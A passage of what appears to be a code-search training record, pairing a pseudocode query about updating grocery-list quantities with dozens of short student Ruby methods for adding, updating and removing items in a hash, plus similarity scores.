update_item(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list \nend", "def add_item(grocery_list, item, quantity)\n grocery_list = grocery_list.each {|item,quantity|}\n if grocery_list.has_key?(item)\n grocery_list[item] += quantity\n else\n grocery_list[item] = quantity\n end\nend", "def add_item(list, item, quantity = 1)\r\n# input: list, item name, and optional quantity\r\n# steps: \r\n # check for optional quantity. if not present, set to default (1)\r\n list[item] = quantity\r\n # update list with input\r\n puts \"#{item.upcase} has been added to your grocery list!\"\r\n p list\r\n# output: complete list, updated\r\nend", "def add_groceries(list, item, qty = 1) \n #list.store(item, quantity)\n\tlist[item] = qty\n\tp list \nend", "def update_quantity_in_grocery_list(grocery_list, item_name, quantity)\n # steps: update quantity for item\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend", "def add_item(grocery_list, item, quantity=1)\r\n grocery_list[item]= quantity\r\n \r\nend", "def update(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend", "def add_item(grocery_list, item_name, quantity=1)\r\n grocery_list[item_name] = quantity\r\n #puts grocery_list\r\n return grocery_list\r\nend", "def update_quantity(grocery_list, item, new_quantity)\n grocery_list[item] = new_quantity\n return grocery_list\nend", "def add_item_to_list(list, new_food, quantity)\n list[new_food] = quantity\n list\nend", "def add_item(existing_list, new_item, item_integer)\n\t# input: item name and optional quantity\n\t# steps: pass in item name as key and assign value\n\texisting_list[new_item] = item_integer\n\t# output: hash\n\tp existing_list\nend", "def add_item (grocery, item_name, quantity)\n grocery[item_name] = quantity\n display_list(grocery)\n end", "def add_item(grocery_list,item,quantity = nil)\n\tif quantity == nil \n\t\tgrocery_list[item] = 1\n\telse\n\t grocery_list[item] = quantity\n\tend\n\treturn grocery_list\n\tprint_list(grocery_list)\nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list\nend", "def add_item(shopping_list, item, quantity)\r\n\tshopping_list[item] = quantity\r\n\tshopping_list\r\nend", "def add_item(list_item,user_list)\n#user_list is later defined/used to store a new list of information created when create_list method is called.\n#Uses create_list method to format information properly before allowing edits and updates to be done. \n#user_list = create_list(string) \n user_list[list_item] = 1\n user_list\nend", "def update_qty(item, item_qty, grocery_list)\n grocery_list[item] = item_qty\n # print_list(grocery_list)\n grocery_list\nend", "def add_item(hash, item, quantity=1)\r\n grocery_list=hash\r\n if grocery_list.include?item\r\n grocery_list[item]+=quantity\r\n else\r\n grocery_list[item]=quantity\r\n end\r\n p grocery_list\r\nend", "def add_item_to_list(list_name,item_to_add,quantity_to_add = 1)\n#create a hash element with the item name and the quantity, if specified\n#if no quantity is specified, default value = 1\n new_item = { \n item_name: item_to_add,\n quantity: quantity_to_add\n }\n# insert the hash into array \n list_name.push(new_item)\n new_item\nend", "def add_item_to_list(grocery_list, item)\n grocery_list[item] = nil \n grocery_list\nend", "def add_item(grocery_list, item, quantity = 1)\n \tgrocery_list[item.to_sym] = quantity\nend", "def add_item(current_list, item_added, quantity)\n current_list[item_added] = quantity\n current_list\nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend", "def add(grocery_list, food, quantity)\n\tgrocery_list[food] = quantity\nend", "def update_quantity (grocery_list, item, quantity)\n if grocery_list[item] == nil\n \tputs \"Item not on list.\"\n else\n \tadd_item(grocery_list,item,quantity)\n end\n return grocery_list\n print_list(grocery_list)\nend", "def add_item(name, quantity = 1)\r\n if $grocery_list[name]\r\n $grocery_list[name] += quantity\r\n else\r\n $grocery_list[name] = quantity\r\n end\r\n print_list\r\nend", "def update_groceries(list, item, qty)\n\tlist[item] = qty\n\tp list\nend", "def add_item(list, item, quantity)\n\n\tlist[item] = quantity\n\tlist\n\nend", "def update_quantity(item, new_quantity, grocery_list)\n grocery_list[item] = new_quantity\nend", "def update_qty(grocery_list, item, qty)\n grocery_list[item] = qty\n grocery_list\nend", "def add_to_list(list, item, quantity)\n #method to add items\n list[item] = quantity\nend", "def add_to_list(list,item,quantity)\n\tupdate_item(list,item,quantity)\nend", "def add_item(grocery_list,item,quantity = nil)\n \tif quantity == nil \n \tgrocery_list[item] = 1\n else\n grocery_list[item] = quantity\n end\n return grocery_list\nend", "def add_item(list, add_item, add_quantity=1)\n# steps:\n # Add item as key and quantity as value to final_list hash(item and quantity will be user inputs)\n list[add_item] = add_quantity\n # Return updated hash\n list\nend", "def add_item(my_list, item, quantity)\r\n #input: a string seperated by an integer \r\n #steps: use a method that adds an item and quantity to the hash.\r\n my_list.store(item, quantity)\r\n # use a hash or store method hash.merge!(key => value) \r\n #output = hash with the updated item/quantity. \r\n my_list\r\n \r\nend", "def add_item(shopping_list, item, quantity=1)\r\n\r\n\tshopping_list[item] = quantity\r\n#\treturn shopping_list\r\nend", "def add_item(item_name, item_qty)\n# $list_items[item_name] = item_qty\n # my_hash[key] = value\n # This will create a NEW key value pair\n # OR update (aka replace) the value for an existing key.\n \n # my_hash[key] += value\n # will INCREASE the value for an existing key.\n if $list_items.include?(item_name)\n # Increase that item\n $list_items[item_name] += item_qty\n else\n # Create the new item\n $list_items[item_name] = item_qty\n end\nend", "def add_item(list, item, qty)\n list[item] = qty\n list\nend", "def add_to_list(list_hash, item, qty)\r\n\tlist_hash[item] = qty\r\n\tlist_hash\t\r\nend", "def add_item(list, item, qty)\n list[item] = qty\n p list\nend", "def add_item(list, item, quantity)\n\tlist[item] = quantity\n\tp list\nend", "def create_list(input_string)\n grocery_list = {}\n items = input_string.split(' ')\n items.each do |item|\n add_item_to_list(grocery_list, item, 1)\n end\n\n print_list(grocery_list)\n\n add_item_to_list(grocery_list, \"milk\", 1)\n update_item_from_list(grocery_list, \"Lemonade\", 2)\n update_item_from_list(grocery_list, \"Tomatoes\", 3)\n update_item_from_list(grocery_list, \"Onions\", 10)\n update_item_from_list(grocery_list, \"iceCream\", 20)\n\n print_list(grocery_list)\n\n remove_item_from_list(grocery_list, \"IceCream\")\n\n print_list(grocery_list)\n\nend", "def add_to_list(item,quantity,list)\n list[item]=quantity\nend", "def add_to_list(new_item, quantity)\n #addition = { new_item => quantity }\n addition = Hash.new\n addition[new_item] = quantity\n new_list = addition.merge($old_list.to_h)\n #p new_list\nend", "def new_quantity(grocery_list, item, new_quan)\r\n grocery_list[item] = new_quan\r\n p grocery_list\r\nend", "def update_quantity(grocery_list,item_name,quantity)\r\n\t \r\n\t grocery_list[item_name] = quantity\r\n\r\nend", "def add_new_items(list, item_name, quantity=1)\n list[item_name] = quantity\n list\nend", "def update_quantity(grocery_list, item_to_update, qty)\n grocery_list[item_to_update] = qty\n grocery_list\nend", "def add(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def add_item(list, list_item, item_quantity)\n if list.has_key?(list_item)\n puts \"Item is already in list\"\n else\n list[list_item] = item_quantity\n end\n p list\n list\nend", "def update_quantity (grocery_list, item, quantity)\n\tif grocery_list[item] == nil\n\t\tputs \"Item not on list.\"\n\telse\n\t\tadd_item(grocery_list, item, quantity)\n\tend\n\treturn grocery_list\nend", "def update_quantity(item, quantity)\n # puts \"List with updated value of #{quantity} for #{item}:\"\n $grocery_list[item] = quantity\n $grocery_list\nend", "def add_item(list,item_name, qty)\n list[item_name] = qty\nend", "def add(list, item, quantity)\r\n\tlist[item] = quantity\r\n\tlist\r\nend", "def add_grocery(list, item, quantity = 1)\n list[item] = quantity\nend", "def add_item(list_name, item, quantity=1)\r\n# input: list, item name, and optional quantity\r\n# steps: add item and its quantity to the hash\r\n list_name.store(item, quantity)\r\n# output: hash with new item\r\n p list_name\r\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n return list\nend", "def add_item(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend", "def add_change_items(list, item, quantity)\r\n\t#NOTE if changing item make sure to type in 'item' correctly\r\n list[item] = quantity\r\n p list\r\nend", "def add_item (list, item, qty)\n list[item]=qty\nend", "def update_quantity(grocery_list,item,new_quantity)\n # if item on the list\n grocery_list.store(item,new_quantity)\n puts \"When you pick up #{item}, make sure to grab #{new_quantity} instead.\"\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n list\nend", "def add_item(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def add_item(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def add_items(list, item_name, quantity=0)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n p list\nend", "def update_quantity(grocery_list, item, quantity)\r\n\tgrocery_list[item] = quantity\r\n\tgrocery_list\r\nend", "def create_list(items)\r\n items_array = items.split(' ')\r\n grocery_hash = {}\r\n items_array.each do |item|\r\n add_item(grocery_hash, item)\r\n #grocery_hash[item] = 1\r\n end\r\n grocery_hash\r\nend", "def update_quantity(grocery_list, grocery_item, new_quantity)\n if grocery_list.has_key?(grocery_item)\n grocery_list[grocery_item] = new_quantity\n else\n puts \"Sorry, that's not on the list (check your spelling).\"\n end\nend", "def update(item, quantity, grocery_list)\n if grocery_list.include?(item) == false \n p \"Item is not on the grocery list.\"\n else \n grocery_list.update(item => quantity)\n end \n # print_list(grocery_list)\nend" ]
[ "0.83824754", "0.8300347", "0.82836217", "0.82620114", "0.8194396", "0.81779486", "0.8164623", "0.81621295", "0.81105345", "0.8103866", "0.8083293", "0.8072043", "0.80711144", "0.8046", "0.80235547", "0.8015308", "0.8015308", "0.7973455", "0.7959445", "0.7951248", "0.79368746", "0.79368746", "0.7932538", "0.7932538", "0.7926777", "0.7852409", "0.78518605", "0.7836253", "0.7821134", "0.7803729", "0.78031856", "0.779894", "0.77972895", "0.77766925", "0.7767554", "0.7737295", "0.773724", "0.7696937", "0.7677798", "0.7672417", "0.76163554", "0.7610818", "0.76076734", "0.7602512", "0.75998795", "0.7584017", "0.75763553", "0.7570849", "0.7568411", "0.7549086", "0.75443494", "0.7539413", "0.75260735", "0.75249606", "0.75050604", "0.7485335", "0.7479058", "0.7471062", "0.74702007", "0.7451777", "0.74502397", "0.7447018", "0.74386656", "0.7434559", "0.74309623", "0.7430563", "0.7421536", "0.7411093", "0.7403425", "0.74011356", "0.73990935", "0.73972785", "0.7391935", "0.73862964", "0.73858714", "0.7382589", "0.73814076", "0.73758876", "0.7373694", "0.73729485", "0.73691857", "0.736233", "0.736014", "0.7353497", "0.73425347", "0.733077", "0.7330041", "0.7328864", "0.7327808", "0.73193127", "0.7310084", "0.7306631", "0.7305787", "0.7305787", "0.73019063", "0.7299069", "0.72917295", "0.72862405", "0.72833997", "0.7283016" ]
0.74081564
68
psuedocode define method that remoces item from list remove item from groceries list output update list
def remove_item(items, groceries_list) groceries_list.delete(items) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_item(groceries_list, item_to_remove)\n\t# remove item from list\n\tgroceries_list.delete(item_to_remove)\n\t# return updated list\n\tgroceries_list\nend", "def remove_item(grocery_list, item)\r\n\tgrocery_list.delete(item)\r\n\tgrocery_list\r\nend", "def remove_item_from_list(grocery_list, item) \n grocery_list.delete(item) \n grocery_list \nend", "def remove_groceries(list, item)\n\tlist.delete (item)\n\tp list\nend", "def remove_item(grocery_list, item_name)\r\n\tgrocery_list.delete(item_name)\r\n\treturn grocery_list\r\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n return grocery_list\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend", "def remove_item(item, grocery_list)\n grocery_list.delete(item)\n # print_list(grocery_list)\n grocery_list\nend", "def remove_an_item(grocery_list, item_to_be_removed)\n grocery_list.delete(item_to_be_removed)\n grocery_list\nend", "def remove_item(item, grocery_list)\n grocery_list.delete(item)\n return grocery_list\nend", "def remove_item(item, grocery_list)\n grocery_list.delete(item)\n return grocery_list\nend", "def remove_item(grocery_list, rem_item)\r\n grocery_list.delete(rem_item)\r\n p grocery_list\r\nend", "def remove_item(grocery_list, item_name)\n\tgrocery_list.delete(item_name)\n\treturn grocery_list\nend", "def remove_item(grocery_list, item_name)\n\tgrocery_list.delete(item_name)\n\treturn grocery_list\nend", "def remove_item(grocery_list, item)\r\n grocery_list.delete(item) \r\n \r\nend", "def remove(grocery_list, item)\n grocery_list.delete(item)\nend", "def remove_from_grocery_list(grocery_list, item_name)\n # steps: remove item from hash\n grocery_list.delete(item_name.to_sym)\n # output: explicit return updated hash\n grocery_list\nend", "def remove_item (grocery_list, item)\n if grocery_list[item] == nil\n \tputs \"Item not on list.\"\n else\n \tgrocery_list.delete(item)\n end\n return grocery_list\n print_list(grocery_list)\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\nend", "def remove_item(item)\n $grocery_list.delete(item)\n # puts \"List with #{item} deleted\"\n $grocery_list\nend", "def remove_item(grocery_list,item_name)\r\n\t \r\n\t grocery_list.delete(item_name)\r\n\r\nend", "def remove_item (grocery_list, item)\n\tif grocery_list[item] == nil\n\t\tputs \"Item not on list.\"\n\telse\n\t\tgrocery_list.delete(item)\n\tend\n\treturn grocery_list\nend", "def remove_item(grocery_list, item_name)\r\n grocery_list.delete(item_name)\r\n #puts grocery_list\r\n return grocery_list\r\nend", "def remove_item(grocery_list, item)\n grocery_list.delete(item)\n grocery_list # Now this is the last object evaluated\nend", "def remove_items(item, grocery_list)\n grocery_list.delete(item)\nend", "def remove_item(list, item)\n # list.delete_if do |grocery_item, qty|\n # grocery_item == item\n # end\n list.delete(item)\n\n list\nend", "def remove_item_from_list(grocery_list,item_to_delete)\n grocery_list.delete(item_to_delete)\n puts \"No need to pick up #{item_to_delete} anymore.\"\nend", "def remove_item(item_name, grocery_list)\n grocery_list.delete(item_name)\n grocery_list\n end", "def remove(groceries_list, delete_item)\n groceries_list.delete(delete_item.to_sym) {|item| puts \"#{item} not found!\"}\nend", "def remove_item(groccery_items, key)\n groccery_items.delete(key)\n p groccery_items\nend", "def delete_item(grocery_list, item)\ngrocery_list.delete(item)\np grocery_list\n\nend", "def remove_item(grcy_list, string)\n grcy_list.delete(string)\nend", "def grocery_item_deleter(grocery_list, item)\n grocery_list.delete(item)\n grocery_list\nend", "def add_item_to_list(grocery_list, item)\n grocery_list[item] = nil \n grocery_list\nend", "def remove(item, quantity, grocery_list)\n if grocery_list.include?(item) == false \n p \"Item is not on the grocery list.\"\n else \n grocery_list.delete(item)\n end\n #print_list(grocery_list)\nend", "def remove(item, quantity, grocery_list)\n if grocery_list.include?(item) == false \n p \"Item is not on the grocery list.\"\n else \n grocery_list.delete(item)\n end\n #print_list(grocery_list)\nend", "def remove(groceries_list, delete_item)\n\tgroceries_list.delete(delete_item.to_sym) {|item| puts \"#{item} not found!\"}\nend", "def remove_item(item_list, item)\r\n item_list.delete(item)\r\n item_list\r\nend", "def remove_item(list, item_name)\r\n list.delete(item_name)\r\n list\r\nend", "def remove_item (item,list)\nlist.delete(item)\nlist\nend", "def remove_item(list, item)\r\n# input: item to be removed, list\r\n# steps: \r\n # check if item exists\r\n # remove item\r\n list.delete(item)\r\n # print success message of item removed\r\n puts \"#{item.upcase} has been removed to your grocery list!\"\r\n p list\r\n# output: updated list\r\nend", "def remove_item(new_list, item_name)\r\n new_list.delete(item_name)\r\nend", "def remove_item(list, item_name)\n list.delete(item_name)\n list\nend", "def delete_item (unwanted_item)\r\n if $grocery_list.include? unwanted_item\r\n $grocery_list.delete(unwanted_item)\r\n else\r\n puts \"that item already is not in your list!\"\r\n end\r\nend", "def remove(grocery_list, food)\n\tgrocery_list.delete(food)\nend", "def remove_item(grocery_list, item)\n\tif grocery_list.include?(item.to_sym)\n\t\tgrocery_list.delete(item.to_sym)\n\telse\n\t\tputs \"item name invalid\"\n\tend\nend", "def remove_item(list, item)\r\n list.delete(item)\r\n list\r\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(item)\n\t$grocery_list.delete(item)\n\tp \"You crossed off #{item} from your list.\"\nend", "def delete_item_grocery_list(list, category, item)\n list[category].delete(item)\n list\nend", "def remove_item(list,item)\r\n\r\n list.delete(item)\r\n list\r\nend", "def remove_item(item, list)\r\n list.delete(item)\r\n p list\r\n list\r\nend", "def remove_item (item, list)\n list.delete(item)\n return list\nend", "def remove_item!(list, item)\r\n list.delete(item)\r\n list\r\nend", "def grocery_deleter(groceries,item_delete)\n\n\tgroceries.delete(item_delete)\n\n\treturn groceries\n\nend", "def remove_item(list_item,user_list)\n user_list.delete(list_item)\n user_list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(item, list)\n list.delete(item)\n return list\nend", "def remove_item(olist, item)\n olist.delete(item) \n olist\nend", "def remove_item(list, item_name)\n\t{|list| list.delete(\"mangoes\")}\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def remove_item(list, item)\n list.delete(item)\n list\nend", "def list_remover(list_input_remover, item_name_remove)\n list_input_remover.delete(item_name_remove)\nend", "def remove_item(new_list, item)\n \n new_list.delete(item)\n \n new_list\nend", "def remove_list(older_list, item)\r\n older_list.delete(item)\r\n return older_list\r\nend", "def remove(list,item)\r\n\tlist.delete(item)\r\n\tlist\r\nend", "def list_remover(list,item) #takes 2 arguments, 1 list and name of an item\n\tlist.delete(item)\t\n\t\nend", "def remove_item(grocery_list)\n puts \"what item to remove?\"\n item = gets.chomp\n grocery_list.delete(item)\n return grocery_list\nend", "def delete_item(grocery,item_name)\n # input: list, item name.\n # steps: delete item_name from the hash\n grocery.delete(item_name)\n # output: display the latest list\n display_list(grocery)\nend", "def remove(list, food_item)\n\tlist.delete(food_item)\n\tlist\nend", "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend", "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend", "def remove_item(list, item_name)\n\tlist.delete(item_name)\n\tlist\nend", "def remove(list, item)\r\n list.delete(item)\r\n list\r\nend", "def rem_list(item_name, item_list)\n item_list.delete(item_name)\n puts \"You just removed #{item_name} from the list.\"\nend", "def remove_item_from_list(list,item)\r\n list.delete(item)\r\n print_list(list)\r\nend", "def remove_from_list\n # if in_list?\n # decrement_positions_on_lower_items\n # update_attribute position_column, nil\n # end \n return unless in_list?\n decrement_positions_on_lower_items\n update_attribute position_column, nil \n end", "def remove_item(name, list)\n list.delete(name)\n p list\n return list\nend", "def delete_item(glist, item)\n\tglist.delete(item)\n\treturn glist\nend", "def remove_item(list, item_removed)\n list.delete(item_removed)\nend", "def remove_item (list, item)\n list.delete(item)\nend", "def remove_item(list, item)\r\n list.delete(item)\r\n p list\r\nend", "def remove_item(list, item)\n list.delete(item)\n return list\nend", "def remove_item(list,item)\n list.delete(item)\n p list\nend", "def remove_item\n\n end", "def remove_item(list, item)\r\n# input: shopping list and item to be removed\r\n# steps: \r\n # Use shopping list as input\r\n # Use item to be removed as input\r\n # Remove the item from the list if it exists on the list\r\n list.delete(item)\r\n# output: shopping list with item removed\r\n printlist(list)\r\nend", "def remove_from_list(list, item)\n list.delete(item)\n p list\nend", "def remove_item(list, item)\n list.delete(item)\n p list\nend", "def remove_item(list, item)\n list.delete(item)\n p list\nend", "def remove_item(list, item)\n list.delete(item)\n p list\nend", "def remove_item(list, item)\n list.delete(item)\n return list\nend", "def remove_from_list(item,list)\n list.delete(item)\nend", "def remove_item(list, item_name)\r\n\tif list.has_key?(item_name)\r\n\t\tlist.delete(item_name)\r\n\tend\r\n\tlist\r\nend", "def remove_item(item, list)\n list.delete(item)\nend" ]
[ "0.7932899", "0.7868345", "0.77573794", "0.77104795", "0.7689352", "0.7668525", "0.76387864", "0.76387864", "0.76131606", "0.7584837", "0.753534", "0.753534", "0.75050735", "0.74758095", "0.74758095", "0.7463809", "0.745401", "0.74512774", "0.7448878", "0.7407783", "0.7407783", "0.7407783", "0.73956966", "0.73913884", "0.7373414", "0.7327947", "0.7308116", "0.7300875", "0.72185636", "0.71856135", "0.716073", "0.70984703", "0.7078138", "0.70509285", "0.7046584", "0.69924325", "0.6980633", "0.6971248", "0.6971248", "0.6948097", "0.69393486", "0.69243324", "0.691946", "0.6910042", "0.6878089", "0.68608755", "0.68571734", "0.68570244", "0.68524116", "0.68483543", "0.6832432", "0.68131554", "0.6805883", "0.6797969", "0.6792413", "0.679106", "0.6768052", "0.6756274", "0.67552936", "0.67437565", "0.67437565", "0.67437565", "0.67437565", "0.67386496", "0.6734775", "0.671747", "0.6706086", "0.6706086", "0.6694071", "0.66908354", "0.66894555", "0.66806996", "0.66784805", "0.6667732", "0.6658509", "0.66449815", "0.6641261", "0.6641261", "0.6641261", "0.6631241", "0.66299933", "0.66206014", "0.66205007", "0.66160667", "0.66010445", "0.6590932", "0.6582867", "0.65814424", "0.6578782", "0.65744466", "0.6572795", "0.65683657", "0.6551465", "0.6547506", "0.6547215", "0.6547215", "0.6542205", "0.65414566", "0.65376", "0.6536366" ]
0.802964
0
pseudocode define a method that updates the quantities for items in groceries_list update quantity output updated groceries_list
def update_quantity(item, quantity, groceries_list) groceries_list[item] = quantity end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_quantity(grocery_list, item_to_update, qty)\n grocery_list[item_to_update] = qty\n grocery_list\nend", "def update_qty(grocery_list, item, qty)\n grocery_list[item] = qty\n grocery_list\nend", "def update_quantity(grocery_list, item_name, quantity)\n\tadd_item(grocery_list, item_name, quantity)\n\treturn grocery_list\nend", "def update_quantity(grocery_list, item_name, qty = 1)\r\n\tgrocery_list = add_item(grocery_list, item_name, qty)\r\n\treturn grocery_list\r\nend", "def update_quantity(grocery_list, item_name, qty = 1)\n\tgrocery_list = add_item(grocery_list, item_name, qty)\n\treturn grocery_list\nend", "def update_quantity(item_name, grocery_list, quantity)\n grocery_list[item_name] = quantity\n grocery_list\n end", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list\nend", "def update_quantity(item, grocery_list, quantity)\n grocery_list[item] = quantity\n return grocery_list\n end", "def update_quantity(item, grocery_list, quantity)\n grocery_list[item] = quantity\n return grocery_list\n end", "def update_quantity(grocery_list, item, quantity)\r\n\tgrocery_list[item] = quantity\r\n\tgrocery_list\r\nend", "def update_quantity_in_grocery_list(grocery_list, item_name, quantity)\n # steps: update quantity for item\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend", "def update(groceries_list, update_item, update_quantity)\n groceries_list[update_item.to_sym] = update_quantity\nend", "def update_qty(item, item_qty, grocery_list)\n grocery_list[item] = item_qty\n # print_list(grocery_list)\n grocery_list\nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend", "def update_quantity (grocery_list, item, quantity)\n\tif grocery_list[item] == nil\n\t\tputs \"Item not on list.\"\n\telse\n\t\tadd_item(grocery_list, item, quantity)\n\tend\n\treturn grocery_list\nend", "def update_quantity(groceries_list, item, new_quantity)\n\t# Change value for inputted key to the desired quantity\n\tgroceries_list [item] = new_quantity\n\tgroceries_list\nend", "def update_quantity(item, new_quantity, grocery_list)\n grocery_list[item] = new_quantity\nend", "def update_quantity(grocery_list, item, quantity)\r\n add_item(grocery_list, item, quantity)\r\n \r\nend", "def update_quantity(groceries, item, quantity)\n groceries[item] = quantity\n return groceries\nend", "def update_quantity(grocery_list, item, quantity)\n grocery_list[item] = quantity.to_i \n grocery_list\nend", "def update(groceries_list, update_item, update_quantity)\n\tgroceries_list[update_item.to_sym] = update_quantity\nend", "def update_quantity (grocery_list, item, quantity)\n if grocery_list[item] == nil\n \tputs \"Item not on list.\"\n else\n \tadd_item(grocery_list,item,quantity)\n end\n return grocery_list\n print_list(grocery_list)\nend", "def update_quantity(grocery_list, item, new_quantity)\n grocery_list[item] = new_quantity\n return grocery_list\nend", "def update_groceries(list, item, qty)\n\tlist[item] = qty\n\tp list\nend", "def update_quantity (grocery, item_name, new_quantity)\n grocery[item_name] = new_quantity\n display_list(grocery)\n end", "def update_quantity(grocery_list,item_name,quantity)\r\n\t \r\n\t grocery_list[item_name] = quantity\r\n\r\nend", "def update_quantity(grocery_list,item,new_quantity)\n # if item on the list\n grocery_list.store(item,new_quantity)\n puts \"When you pick up #{item}, make sure to grab #{new_quantity} instead.\"\nend", "def update_quantity(grocery,item_name,new_quantity)\n # input:list, item name, and new_quantity\n # steps: change old value of item_name with the new_quantity\n grocery[item_name] = new_quantity\n # output: display the latest list\n display_list(grocery)\nend", "def update(grocery_list, item, quantity)\n grocery_list[item] = quantity\nend", "def update_quantity(item, quantity)\n # puts \"List with updated value of #{quantity} for #{item}:\"\n $grocery_list[item] = quantity\n $grocery_list\nend", "def update_item(grocery_list, item, quantity)\n grocery_list[item] = quantity\n grocery_list \nend", "def update_quantity(grocery_list, item, new_quantity)\n\tif grocery_list.include?(item.to_sym)\n\t\tgrocery_list[item.to_sym] = new_quantity\n\telse\n\t\tputs \"item name invalid\"\n\tend\nend", "def update_qty(item_list, item, qty)\r\n item_list[item] = qty\r\n item_list\r\nend", "def update_grocery_list_quantity(list, category, item, quantity)\n list[category][item] = quantity\n list\nend", "def update_quantity(item, list, quantity)\n add_item(item, list, quantity)\nend", "def update_qty(shopping_list, item, quantity)\r\n\r\n\tadd_item(shopping_list, item, quantity)\r\n\r\nend", "def update (item, quantity)\n @groceries[item]=quantity\n end", "def updated_quantity(list, item_name, quantity)\r\n\tlist[item_name] = quantity\r\n\tlist\r\nend", "def update_quantity(list, item, quantity)\n\tadd_to_list(list, item, quantity)\nend", "def add_item(item, quantity, groceries_list)\n groceries_list[item] = quantity\nend", "def update_quantity(item, grocery_bag, quantity)\n grocery_bag[item] = quantity\n p grocery_bag\nend", "def update_quantity_of_item(list,item,quantity)\r\n add_item_to_list(list,item,quantity)\r\n list\r\nend", "def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity\n\tlist\nend", "def update_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def update_quantity(list, item_name, quantity)\n\tlist[item_name] = quantity.to_i\n\tlist\nend", "def update_quant(item, quant)\n\t$grocery_list.store(item, quant)\n\tp \"You updated #{item} number to #{quant}.\"\nend", "def grocery_updater(groceries,item_update,new_quanity)\n\n\tgroceries[item_update] = new_quanity\n\n\treturn groceries\n\nend", "def update_quantity(name, quantity, list)\n list[name] += quantity\nend", "def update_quantity(list, item_name, qty)\n list[item_name] = qty\nend", "def update_quantity(list, item, quantity)\n\tlist[item] = quantity\n\tlist\nend", "def new_quantity(grocery_list, item, new_quan)\r\n grocery_list[item] = new_quan\r\n p grocery_list\r\nend", "def update_quantity(list, item, quantity)\n #method to update quantity\n #can also add items\n list[item] = quantity\nend", "def update_quantity(new_list, item_name, quantity)\r\n \r\n new_list[item_name] = quantity\r\nend", "def change_quantity(grocery_list, item_name, quantity)\r\n grocery_list[item_name] = quantity\r\n #puts grocery_list\r\n return grocery_list\r\nend", "def update_quantity(list, item_name, quantity)\n\tlist.each do |item, qty|\n\t\tif item === item_name\n\t\t\tlist[item] = quantity\n\t\tend\n\tend\nend", "def update_quantity(grocery_list, grocery_item, new_quantity)\n if grocery_list.has_key?(grocery_item)\n grocery_list[grocery_item] = new_quantity\n else\n puts \"Sorry, that's not on the list (check your spelling).\"\n end\nend", "def current_list(grocery_list, item, qty)\n grocery_list[item] = qty\n grocery_list\nend", "def update_quantity(list, item, updated_quantity)\n list[item] = updated_quantity\n list\nend", "def update_quantity(item, grocery_hash={}, quantity)\n\tif grocery_hash.include?(item)\n\t\tgrocery_hash[item] = quantity\n\tend\n\treturn grocery_hash\nend", "def update_quant(current_list, item, quantity)\n current_list[item] = quantity\n current_list\nend", "def update_quantity(item, list, quantity)\n list[item] = quantity\n return list\nend", "def update_quantity(list, item_name, new_quantity)\n list[item_name] = new_quantity\nend", "def update_quantity(list, item_name, new_quantity)\n list[item_name] = new_quantity\nend", "def update_quantity(list, item, quant)\n list[item] = quant\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_item_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def item_quantity(list, item_to_update, quantity)\n list[item_to_update] = quantity \nend", "def add_item(grocery_list, item, quantity)\n grocery_list = grocery_list.each {|item,quantity|}\n if grocery_list.has_key?(item)\n grocery_list[item] += quantity\n else\n grocery_list[item] = quantity\n end\nend", "def update_quantity(list, item, quantity)\n\tlist[item] = quantity\n\tp list\nend", "def update_quantity(list, item, quant)\n list[item] = quant\nend", "def add_to_grocery_list(grocery_list, item_name, quantity=1)\n # steps: add item to hash and set quantity\n grocery_list[item_name.to_sym] = quantity\n # output: explicit return updated hash\n grocery_list\nend", "def update_quantity(list, item, quantity)\r\n\tlist[item] = quantity\r\n\treturn list\r\nend", "def add_items(grocery_list, item, quantity)\n if grocery_list.include? item\n grocery_list[item] += quantity\n else\n grocery_list[item] = quantity\n end\n grocery_list\nend", "def add_items(grocery_list, item, quantity)\n if grocery_list.include? item\n grocery_list[item] += quantity\n else\n grocery_list[item] = quantity\n end\n grocery_list\nend", "def update_quantity_of_items(list, item, quantity)\n list[item] = quantity\nend", "def add_item(grocery_list, item, qty)\n grocery_list[item] = qty \n grocery_list\nend", "def add_an_item(grocery_list, new_item, qty = 1)\n grocery_list[new_item] = qty\n grocery_list\nend", "def new_quantity(list, item, qty)\n list[item] += qty\n p list\nend", "def update_quantity(list, item_name, quantity)\r\n list[item_name] = 